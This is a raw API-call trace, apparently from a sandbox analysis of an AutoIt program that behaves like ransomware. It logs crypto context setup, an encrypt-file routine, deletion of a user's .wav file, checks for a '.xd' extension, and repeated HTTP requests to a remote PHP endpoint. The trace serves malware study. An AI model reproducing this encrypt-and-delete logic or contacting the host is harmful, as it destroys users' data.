[0063.370] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.370] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.370] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.371] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.371] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.371] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0063.371] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0063.371] CryptReleaseContext (hProv=0x17ab330, dwFlags=0x0) returned 1 [0063.371] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.371] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.371] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0063.371] FreeLibrary (hLibModule=0x74c60000) returned 1 [0063.371] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.372] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.372] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.372] CloseHandle (hObject=0x3bc) returned 1 [0063.373] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.373] CloseHandle (hObject=0x2ac) returned 1 [0063.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.405] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.405] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", lpFilePart=0x0) returned 0x32 [0063.405] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\slq09vzi9-b1tc1ept.wav")) returned 0x20 [0063.405] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0063.405] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\slq09VZi9-B1tc1ePT.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\slq09vzi9-b1tc1ept.wav")) returned 1 [0063.409] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0063.409] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0063.410] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.410] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.410] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.410] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.410] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0063.410] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.410] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.410] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.415] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.415] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.415] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.415] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0063.415] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.415] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.415] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.416] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.416] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.416] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.416] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.416] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.416] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.418] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.418] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.418] CloseHandle (hObject=0x0) returned 0 [0063.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.418] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.425] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HLxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LxtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.426] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PexXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="exXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xXC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XC.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.438] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.438] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.438] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.438] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.438] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.438] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.438] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.438] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.438] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0063.438] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.442] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.444] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.445] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.445] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.445] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.445] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629400, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629400*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.445] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.445] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.445] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.445] CloseHandle (hObject=0x0) returned 0 [0063.445] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.445] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\1PexXC.wav", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.446] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.446] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.446] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.446] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.446] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.446] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.446] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.446] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.446] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.447] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.447] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.447] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.447] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.447] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.447] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.447] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab000) returned 1 [0063.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.448] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.448] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.448] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.448] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.448] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.448] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.448] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 